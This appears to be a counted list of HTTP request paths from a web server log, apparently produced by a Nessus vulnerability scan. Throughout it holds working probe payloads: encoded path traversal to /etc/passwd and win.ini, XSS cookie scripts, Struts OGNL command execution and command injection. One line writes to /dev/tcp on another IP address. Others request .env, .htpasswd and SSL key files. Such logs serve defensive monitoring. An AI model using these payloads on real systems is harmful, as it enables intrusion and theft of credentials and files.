1	GET	/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\winnt\\win.ini	HTTP/1.1
1	GET	/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini	HTTP/1.1
1	GET	/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini	HTTP/1.1
1	GET	/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin%2eini	HTTP/1.1
1	GET	/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini	HTTP/1.1
1	GET	/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini	HTTP/1.1
1	GET	/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin.ini	HTTP/1.1
1	GET	/%80../%80../%80../%80../%80../%80../windows/win.ini	HTTP/1.1
1	GET	/%80../%80../%80../%80../%80../%80../winnt/win.ini	HTTP/1.1
1	GET	/%NETHOOD%/	HTTP/1.1
1	GET	/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini	HTTP/1.1
1	GET	/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini	HTTP/1.1
1	GET	/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini	HTTP/1.1
1	GET	/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini	HTTP/1.1
1	GET	/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd	HTTP/1.1
1	GET	/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini	HTTP/1.1
1	GET	/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini	HTTP/1.1
1	GET	/+CSCOE+/logon.html	HTTP/1.1
1	GET	/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd	HTTP/1.1
1	GET	/.%252e/.%252e/.%252e/.%252e/windows/win.ini	HTTP/1.1
1	GET	/.%252e/.%252e/.%252e/.%252e/winnt/win.ini	HTTP/1.1
1	GET	/.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd	HTTP/1.1
1	GET	/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd	HTTP/1.1
1	GET	/..../..../..../..../..../..../..../..../..../..../..../..../etc/passwd	HTTP/1.1
1	GET	/..../..../..../..../..../..../..../..../..../windows/win.ini	HTTP/1.1
1	GET	/..../..../..../..../..../..../..../..../..../winnt/win.ini	HTTP/1.1
1	GET	/....\\....\\....\\....\\....\\....\\....\\....\\....\\windows\\win.ini	HTTP/1.1
1	GET	/....\\....\\....\\....\\....\\....\\....\\....\\....\\winnt\\win.ini	HTTP/1.1
1	GET	/.../.../.../.../.../.../.../.../.../windows/win.ini	HTTP/1.1
1	GET	/.../.../.../.../.../.../.../.../.../winnt/win.ini	HTTP/1.1
1	GET	/...\\...\\...\\...\\...\\...\\...\\...\\...\\windows\\win.ini	HTTP/1.1
1	GET	/...\\...\\...\\...\\...\\...\\...\\...\\...\\winnt\\win.ini	HTTP/1.1
1	GET	/../../../../../../../../../../../../etc/passwd	HTTP/1.1
1	GET	/../../../../../../../../../../../../windows/win.ini	HTTP/1.1
1	GET	/../../../../../../../../../../../../winnt/win.ini	HTTP/1.1
1	GET	/..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini	HTTP/1.1
1	GET	/..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini	HTTP/1.1
1	GET	/..\\pixfir~1\\how_to_login.html	HTTP/1.1
1	GET	/..htaccess.swp	HTTP/1.1
1	GET	/./../../../../../../../../../../../etc/passwd	HTTP/1.1
1	GET	/././..	HTTP/1.1
1	GET	/././././././../../../../../etc/passwd	HTTP/1.1
1	GET	/././././././../../../../../windows/win.ini	HTTP/1.1
1	GET	/././././././../../../../../winnt/win.ini	HTTP/1.1
1	GET	/./WEB-INF/	HTTP/1.1
1	GET	/.DS_Store	HTTP/1.1
1	GET	/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini	HTTP/1.1
1	GET	/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini	HTTP/1.1
1	GET	/.anydomain.test	HTTP/1.0
1	GET	/.cobalt	HTTP/1.1
27	GET	/.env	HTTP/1.1
1	GET	/.git/HEAD	HTTP/1.1
1	GET	/.htaccess.1	HTTP/1.1
1	GET	/.htaccess.bak	HTTP/1.1
1	GET	/.htaccess.copy	HTTP/1.1
1	GET	/.htaccess.old	HTTP/1.1
1	GET	/.htaccess.tmp	HTTP/1.1
1	GET	/.htaccess.~1~	HTTP/1.1
1	GET	/.htaccess	HTTP/1.1
1	GET	/.htaccess~	HTTP/1.1
1	GET	/.htpasswd	HTTP/1.1
1	GET	/.svn/entries	HTTP/1.1
1	GET	//${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('id').waitFor()}.action	HTTP/1.1
1	GET	//${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.print('Nessus%20Response:%20'),%23w.println('struts_2_3_14_3_command_execution-649179171'),%23w.flush(),%23w.close()}.action	HTTP/1.1
1	GET	//${649179171+5}.action	HTTP/1.1
1	GET	//../../../../../../../../../../../../etc/passwd	HTTP/1.1
1	GET	//Help[.]action	HTTP/1.1
6	GET	//	HTTP/1.1
1	GET	//admincp/login.php	HTTP/1.1
1	GET	//etc/passwd	HTTP/1.1
1	GET	//fyZMh5N4[.]asp	HTTP/1.0
1	GET	//idcplg?IdcService=GET_ENVIRONMENT&IsJson=1	HTTP/1.1
1	GET	//login/login	HTTP/1.1
1	GET	//login[.]jsp	HTTP/1.1
1	GET	//perl?-v	HTTP/1.1
1	GET	//perl[.]exe?-v	HTTP/1.1
1	GET	//struts/webconsole.html	HTTP/1.1
1	GET	//user/index.php	HTTP/1.1
1	GET	//wbm/login/	HTTP/1.1
1	GET	/0anKaJk2.aspx	HTTP/1.1
1	GET	/1664950992/certificate/13.67.44.234	HTTP/1.1
1	GET	/1664950992/facts/13.67.44.234	HTTP/1.1
1	GET	/2ngeV1n2.ashx	HTTP/1.1
1	GET	/6k35pfct.asp?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.asp?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.aspx?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.aspx?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.cfc?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.cfc?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.cfm?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.cfm?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.cgi?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.cgi?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.dll?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.dll?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.do?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.do?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.exe?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.exe?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.fts?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.fts?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.htm?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.htm?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.html?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.html?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.idc?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.idc?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.jsp?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.jsp?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.jspa?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.jspa?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.kspx?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.kspx?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.mscgi?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.mscgi?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.nsf?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.nsf?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.php3?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.php3?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.php?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.php?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.pl?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.pl?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/6k35pfct.x?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/6k35pfct.x?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/:80:undefined?id=	HTTP/1.1
1	GET	/<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/<script>foo</script>	HTTP/1.1
1	GET	/?<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	/?<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000	HTTP/1.1
1	GET	/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42	HTTP/1.1
1	GET	/?M=A	HTTP/1.1
1	GET	/?\"><script>alert('struts_sa_surl_xss.nasl-1664951084')</script>	HTTP/1.1
2	GET	/?	HTTP/1.1
1	GET	/?class.classLoader.URLs[0]=struts_2_3_16_1_classloader_manipulation-1664951089	HTTP/1.1
1	GET	/?ho+{COMPLETE_VERSION}	HTTP/1.1
1	GET	/AdminTools/querybuilder/nn.jsp	HTTP/1.1
1	GET	/CFIDE/administrator/index.cfm	HTTP/1.1
1	GET	/CFIDE/administrator/settings/version.cfm	HTTP/1.1
2	GET	/CSCOnm/servlet/login/login.jsp	HTTP/1.1
1	GET	/CSS/Miniweb.css	HTTP/1.1
1	GET	/CVS/Entries	HTTP/1.1
1	GET	/ConsoleHelp/default.jsp	HTTP/1.1
1	GET	/ControlManager/default.htm	HTTP/1.1
1	GET	/ControllerWeb/	HTTP/1.1
1	GET	/DB4Web/WIN-10-NESACUAL:23/foo	HTTP/1.1
1	GET	/Default.aspx	HTTP/1.1
1	GET	/DesktopDirector	HTTP/1.1
1	GET	/Director	HTTP/1.1
1	GET	/EIfHqbCw.soap	HTTP/1.1
1	GET	/HNAP1/	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/Home.do	HTTP/1.1
1	GET	/IDMProv/jsps/help/Help.jsp	HTTP/1.1
1	GET	/InitialPage.asp	HTTP/1.1
1	GET	/Login.aspx	HTTP/1.1
4	GET	/LoginPage.do	HTTP/1.1
1	GET	/MM/	HTTP/1.1
1	GET	/MSWSMTP/Common/Authentication/Logon.aspx	HTTP/1.1
2	GET	/NASApp/nessus/	HTTP/1.1
1	GET	/NCMContainer.cc	HTTP/1.1
1	GET	/NULL.ida	HTTP/1.1
1	GET	/OAYs	HTTP/1.1
1	GET	/OEMSettings.ini	HTTP/1.1
1	GET	/Orion/Login.asp	HTTP/1.1
1	GET	/Orion/Login.aspx	HTTP/1.1
1	GET	/OvCgi/freeIPaddrs.ovpl?netnum=127.0.0.1&netmask=255.255.255.0&netid=127.0.0.1%20|%20id|	HTTP/1.1
1	GET	/PUBLIC/ADMIN/INDEX.HTM	HTTP/1.1
1	GET	/PassTrixMain.cc	HTTP/1.1
1	GET	/Portal/Portal.mwsl?MainSelection=USFW&TabSelection=NONE&ClientArea=/Portal/usfw-login.mwsl&DataFile=NONE&TemplateFile=NONE	HTTP/1.1
1	GET	/Portal/Portal.mwsl	HTTP/1.1
1	GET	/Portal0000.htm	HTTP/1.1
1	GET	/RSAarcher/Default.asp	HTTP/1.1
1	GET	/RSAarcher/Default.aspx	HTTP/1.1
1	GET	/Reporting/login/change_password.php?enable_auth=0	HTTP/1.1
1	GET	/SAPHostControl/?wsdl	HTTP/1.1
2	GET	/SE/EMC_SE.swf	HTTP/1.1
1	GET	/SE/appInfo.xml	HTTP/1.1
2	GET	/SOXVcHGb1ANG	HTTP/1.1
1	GET	/Sametime/buildinfo.txt	HTTP/1.1
1	GET	/Sametime/domino/html/sametime/buildinfoST75CF1.txt	HTTP/1.1
1	GET	/SilverStream/Meta/Tables/?access-mode=text	HTTP/1.1
1	GET	/SilverStream	HTTP/1.1
1	GET	/SiteScope/	HTTP/1.1
1	GET	/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator	HTTP/1.1
1	GET	/SnoopServlet/	HTTP/1.1
1	GET	/UDataArea?plugin=com.dell.oma.webplugins.AboutWebPlugin	HTTP/1.1
1	GET	/ViewerFrame?Mode=Motion	HTTP/1.1
2	GET	/VncViewer.jar	HTTP/1.1
1	GET	/WEB-INF./web.xml	HTTP/1.1
1	GET	/WebID/IISWebAgentIF.dll?postdata=\"><script>foo</script>	HTTP/1.1
1	GET	/Webcam/webcam.html	HTTP/1.1
1	GET	/Websense/cgi-bin/WsCgiLogin.exe?Page=login&UserName=nessus%22%3e%3cscript%3ealert('websense_username_xss.nasl')%3c%2fscript%3e	HTTP/1.1
1	GET	/Wsusadmin/Errors/BrowserSettings.aspx	HTTP/1.1
1	GET	/YlGuKPVU.asmx	HTTP/1.1
1	GET	/__Additional	HTTP/1.1
3	GET	/_mt/mt.cgi	HTTP/1.1
1	GET	/_vti_bin/fpcount.exe	HTTP/1.1
1	GET	/_vti_bin/shtml.dll/_vti_rpc	HTTP/1.1
1	GET	/about.jsp	HTTP/1.1
1	GET	/about	HTTP/1.1
1	GET	/aboutprinter.html	HTTP/1.1
1	GET	/acopia/	HTTP/1.1
1	GET	/active.log	HTTP/1.1
1	GET	/admin.back	HTTP/1.1
3	GET	/admin.cgi	HTTP/1.1
1	GET	/admin/LocalIndex.html	HTTP/1.1
2	GET	/admin/	HTTP/1.1
1	GET	/admin/airflow/login	HTTP/1.1
1	GET	/admin/login.do	HTTP/1.1
2	GET	/admin/login.jsp	HTTP/1.1
1	GET	/admin/public/index.html	HTTP/1.1
1	GET	/admin/statistics/ConfigureStatistics	HTTP/1.1
1	GET	/admin_ui/mas/ent/login.html	HTTP/1.1
3	GET	/administrator.cgi	HTTP/1.1
1	GET	/altercast/AlterCast?op=%3cscript%3ealert(%22adobe_document_server_61.nasl%22)%3c%2fscript%3e	HTTP/1.1
1	GET	/ap//	HTTP/1.1
1	GET	/apex/f?p=nessuscheck	HTTP/1.1
1	GET	/apex/listenerConfigure	HTTP/1.1
1	GET	/api/getServices?name[]=$(/bin/bash%20-c%20%22nslookup%20log4shell-generic-AgTxTOcIuSrH8SzX2Nrbten.w.nessus.org)	HTTP/1.1
1	GET	/api/getServices?name[]=$(bash%20-c%20%22echo%20exploited_PORT[80]by_nessus%20%3E/dev/tcp/192.168.130.170/41263\")	HTTP/1.1
1	GET	/api/hpe-restapi.json	HTTP/1.1
1	GET	/api/sonicos/is-sslvpn-enabled	HTTP/1.1
1	GET	/api/v1.0/environment	HTTP/1.1
2	GET	/api/v1/?format=api	HTTP/1.1
1	GET	/app/idxasp.html	HTTP/1.1
1	GET	/app/ui/login.jsp	HTTP/1.1
1	GET	/apps/zxtm/login.cgi	HTTP/1.1
1	GET	/assets/js/conf/global_config.js	HTTP/1.1
3	GET	/auth/login	HTTP/1.1
1	GET	/authenticate/login	HTTP/1.1
1	GET	/autodiscover/autodiscover.xml	HTTP/1.0
1	GET	/autopass/login_input	HTTP/1.1
1	GET	/av/api/1.0/system/local/tasks	HTTP/1.1
1	GET	/axis/DirectDownload.jsp	HTTP/1.1
1	GET	/axis2/services/CUPMService/ping	HTTP/1.1
1	GET	/base.html	HTTP/1.1
1	GET	/baselining/version	HTTP/1.1
1	GET	/bitrix/admin/index.php?lang=en	HTTP/1.1
1	GET	/blog/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/brightmail/viewLogin.do	HTTP/1.1
1	GET	/broadWeb/bwRoot.asp	HTTP/1.1
1	GET	/bt3rZKq0.rem	HTTP/1.1
1	GET	/btmui/	HTTP/1.1
3	GET	/buglist.cgi	HTTP/1.1
1	GET	/builtin/index.html	HTTP/1.1
1	GET	/cas/login	HTTP/1.1
1	GET	/caucho-status	HTTP/1.1
1	GET	/cfg/shortcuts	HTTP/1.1
3	GET	/cgi-bin-sdb/printenv	HTTP/1.1
1	GET	/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd	HTTP/1.1
1	GET	/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd	HTTP/1.1
3	GET	/cgi-bin/Count.cgi	HTTP/1.1
3	GET	/cgi-bin/FormHandler.cgi	HTTP/1.1
3	GET	/cgi-bin/FormMail.cgi	HTTP/1.1
3	GET	/cgi-bin/admin.cgi	HTTP/1.1
3	GET	/cgi-bin/admin.pl	HTTP/1.1
3	GET	/cgi-bin/admin	HTTP/1.1
3	GET	/cgi-bin/administrator.cgi	HTTP/1.1
3	GET	/cgi-bin/administrator	HTTP/1.1
3	GET	/cgi-bin/agorn.cgi	HTTP/1.1
1	GET	/cgi-bin/authLogin.cgi	HTTP/1.1
3	GET	/cgi-bin/bugreport.cgi	HTTP/1.1
1	GET	/cgi-bin/camctrl.cgi	HTTP/1.1
3	GET	/cgi-bin/cart.cgi	HTTP/1.1
1	GET	/cgi-bin/client_execute.cgi?tUD=0	HTTP/1.1
3	GET	/cgi-bin/clwarn.cgi	HTTP/1.1
1	GET	/cgi-bin/com5.pl	HTTP/1.1
3	GET	/cgi-bin/count.cgi	HTTP/1.1
1	GET	/cgi-bin/ctrldirect.cgi	HTTP/1.1
1	GET	/cgi-bin/faqmanager.cgi?toc=/etc/passwd%00	HTTP/1.1
3	GET	/cgi-bin/faqmanager.cgi	HTTP/1.1
1	GET	/cgi-bin/filescan	HTTP/1.1
3	GET	/cgi-bin/guestbook.cgi	HTTP/1.1
1	GET	/cgi-bin/guestimage.html	HTTP/1.1
3	GET	/cgi-bin/help.cgi	HTTP/1.1
3	GET	/cgi-bin/hi	HTTP/1.1
4	GET	/cgi-bin/index.cgi	HTTP/1.1
3	GET	/cgi-bin/index.pl	HTTP/1.1
3	GET	/cgi-bin/index.sh	HTTP/1.1
1	GET	/cgi-bin/kvm.cgi?&file=login	HTTP/1.1
3	GET	/cgi-bin/login.cgi	HTTP/1.1
1	GET	/cgi-bin/login	HTTP/1.1
1	GET	/cgi-bin/luci	HTTP/1.1
3	GET	/cgi-bin/mailit.pl	HTTP/1.1
3	GET	/cgi-bin/mt-static/mt-check.cgi	HTTP/1.1
3	GET	/cgi-bin/mt-static/mt-load.cgi	HTTP/1.1
3	GET	/cgi-bin/mt/mt-check.cgi	HTTP/1.1
3	GET	/cgi-bin/mt/mt-load.cgi	HTTP/1.1
3	GET	/cgi-bin/ncbook/book.cgi	HTTP/1.1
1	GET	/cgi-bin/pdesk.cgi?lang=../../../../../../../../etc/passwd%00	HTTP/1.1
3	GET	/cgi-bin/printenv.cgi	HTTP/1.1
4	GET	/cgi-bin/printenv	HTTP/1.1
1	GET	/cgi-bin/pub/pki?cmd=serverInfo	HTTP/1.1
3	GET	/cgi-bin/quickstore.cgi	HTTP/1.1
3	GET	/cgi-bin/search.cgi	HTTP/1.1
3	GET	/cgi-bin/search/search.cgi	HTTP/1.1
3	GET	/cgi-bin/search	HTTP/1.1
3	GET	/cgi-bin/status.cgi	HTTP/1.1
3	GET	/cgi-bin/status	HTTP/1.1
3	GET	/cgi-bin/test-cgi	HTTP/1.1
3	GET	/cgi-bin/test.cgi	HTTP/1.1
3	GET	/cgi-bin/test.sh	HTTP/1.1
3	GET	/cgi-bin/upload.cgi	HTTP/1.1
3	GET	/cgi-bin/urlcount.cgi	HTTP/1.1
3	GET	/cgi-bin/viewcvs.cgi	HTTP/1.1
3	GET	/cgi-bin/wa.cgi	HTTP/1.1
3	GET	/cgi-bin/wa.exe	HTTP/1.1
3	GET	/cgi-bin/wa	HTTP/1.1
3	GET	/cgi-bin/whois.cgi	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.asp	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.cfm	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.cgi	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.html	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.inc	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.php3	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.php	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.pl	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.sh	HTTP/1.1
1	GET	/cgi-bin/xe1Vg5hoIVKu.shtml	HTTP/1.1
4	GET	/cgi-mod/index.cgi	HTTP/1.1
3	GET	/cgi-sys/defaultwebpage.cgi	HTTP/1.1
3	GET	/cgi-sys/entropysearch.cgi	HTTP/1.1
3	GET	/cgi/mid.cgi	HTTP/1.1
1	GET	/chassis/config/GeneralChassisConfig.html	HTTP/1.1
1	GET	/client/	HTTP/1.1
1	GET	/clientaccesspolicy.xml	HTTP/1.1
1	GET	/cmf/login	HTTP/1.1
1	GET	/cms/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/com/novell/webaccess/WebAccessUninstall.ini	HTTP/1.1
1	GET	/common/about.php	HTTP/1.1
1	GET	/commoncgi/servlet/CCGIServlet?ApHost=PDT_InterScan_NT&CGIAlias=PDT_InterScan_NT&File=logout.htm	HTTP/1.1
1	GET	/conf/ssl/apache/integrity-smartcenter.key	HTTP/1.1
1	GET	/conf/ssl/apache/integrity.key	HTTP/1.1
1	GET	/configurations.do	HTTP/1.1
1	GET	/console/faces/com_sun_web_ui/help/helpwindow.jsp?windowTitle=%3c/title%3e%3cscript%3ealert(%27sun_java_web_console_helpwindow_xss.nasl%27)%3c/script%3e	HTTP/1.1
1	GET	/console/faces/com_sun_web_ui/help/masthead.jsp?windowTitle=%3c/title%3e%3cscript%3ealert(%27sun_java_web_console_helpwindow_xss.nasl%27)%3c/script%3e	HTTP/1.1
1	GET	/console/login/LoginForm.jsp	HTTP/1.1
1	GET	/content/UE1jipkwYD.mp3	HTTP/1.0
1	GET	/core/misc/drupal.js	HTTP/1.1
1	GET	/core/orionSplashScreen.do	HTTP/1.1
1	GET	/courier/web/1000@/wmLogin.html	HTTP/1.1
1	GET	/crossdomain.xml	HTTP/1.1
1	GET	/cs/idcplg?IdcService=GET_ENVIRONMENT&IsJson=1	HTTP/1.1
1	GET	/csamc52/webadmin?page=invalid&type=browser	HTTP/1.1
1	GET	/cwhp/CSMSDesktop/about.jsp	HTTP/1.1
1	GET	/cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=..\\..\\..\\Windows\\System32\\drivers\\etc\\&readmeText=1	HTTP/1.1
1	GET	/ddem/	HTTP/1.1
1	GET	/debuginfo.htm	HTTP/1.1
1	GET	/default.html	HTTP/1.1
1	GET	/default.php	HTTP/1.1
1	GET	/default.pl	HTTP/1.1
1	GET	/dev/	HTTP/1.1
1	GET	/devinfo.xml	HTTP/1.1
1	GET	/dfcweb/lib/cupm/nls/applicationproperties.js	HTTP/1.1
1	GET	/dms2/Login.jsp	HTTP/1.1
1	GET	/dndirector/dashboard/Show.dn	HTTP/1.1
1	GET	/dndirector	HTTP/1.1
1	GET	/docs/cplugError.html/	HTTP/1.1
1	GET	/dp/login.xml	HTTP/1.1
1	GET	/drupal/	HTTP/1.1
1	GET	/drupal/core/misc/drupal.js	HTTP/1.1
1	GET	/drupal/misc/drupal.js	HTTP/1.1
1	GET	/drupal/update.php?op=info	HTTP/1.1
1	GET	/dtlt/home.html	HTTP/1.1
1	GET	/dwr/index.html	HTTP/1.1
1	GET	/emsam/index.html	HTTP/1.1
1	GET	/en/main.js	HTTP/1.1
1	GET	/enter.php?goto=%2F	HTTP/1.1
1	GET	/eonapi/getAuthenticationStatus	HTTP/1.1
1	GET	/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat	HTTP/1.1
1	GET	/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini	HTTP/1.1
1	GET	/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini	HTTP/1.1
1	GET	/error_page.htm	HTTP/1.1
1	GET	/etc/passwd	HTTP/1.1
1	GET	/event/index.do	HTTP/1.1
1	GET	/ews/index.htm	HTTP/1.1
1	GET	/examples/jsp/source.jsp?%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf	HTTP/1.1
1	GET	/exchweb/bin/auth/owalogon.asp?url=http[:]//12345678910	HTTP/1.1
1	GET	/eyespyfx_large.jsp	HTTP/1.1
1	GET	/f360/login.jsp	HTTP/1.1
8	GET	/favicon.ico	HTTP/1.1
1	GET	/favicon.iso	HTTP/1.1
1	GET	/favicon2.iso	HTTP/1.1
1	GET	/features	HTTP/1.1
1	GET	/file	HTTP/1.1
1	GET	/fogbugz/default.php	HTTP/1.1
1	GET	/forum.php	HTTP/1.1
1	GET	/gateway/login	HTTP/1.1
1	GET	/getxml	HTTP/1.1
1	GET	/gewEJXS7.aspx	HTTP/1.1
1	GET	/global.asa	HTTP/1.1
1	GET	/gwadmin-console/login.jsp	HTTP/1.1
1	GET	/hazelcast/rest/cluster	HTTP/1.1
1	GET	/hc/admin/login/	HTTP/1.1
1	GET	/hc/error/	HTTP/1.1
2	GET	/header.php?tab=status	HTTP/1.1
1	GET	/header.php	HTTP/1.1
1	GET	/help/contents.htm	HTTP/1.1
1	GET	/help/introduction/release-notes.html	HTTP/1.1
1	GET	/helpdesk/WebObjects/Helpdesk.woa	HTTP/1.1
2	GET	/home.asp	HTTP/1.1
3	GET	/home.htm	HTTP/1.1
1	GET	/home.jsf?autoScroll=0%2c275)%3b%2f%2f--%3e%3c%2fscript%3e%3cscript%3ealert('myfaces_tomahawk_autoscroll_xss.nasl'	HTTP/1.1
1	GET	/home.seam	HTTP/1.1
1	GET	/horde/imp/status.php3	HTTP/1.1
1	GET	/html/en/index.htm	HTTP/1.1
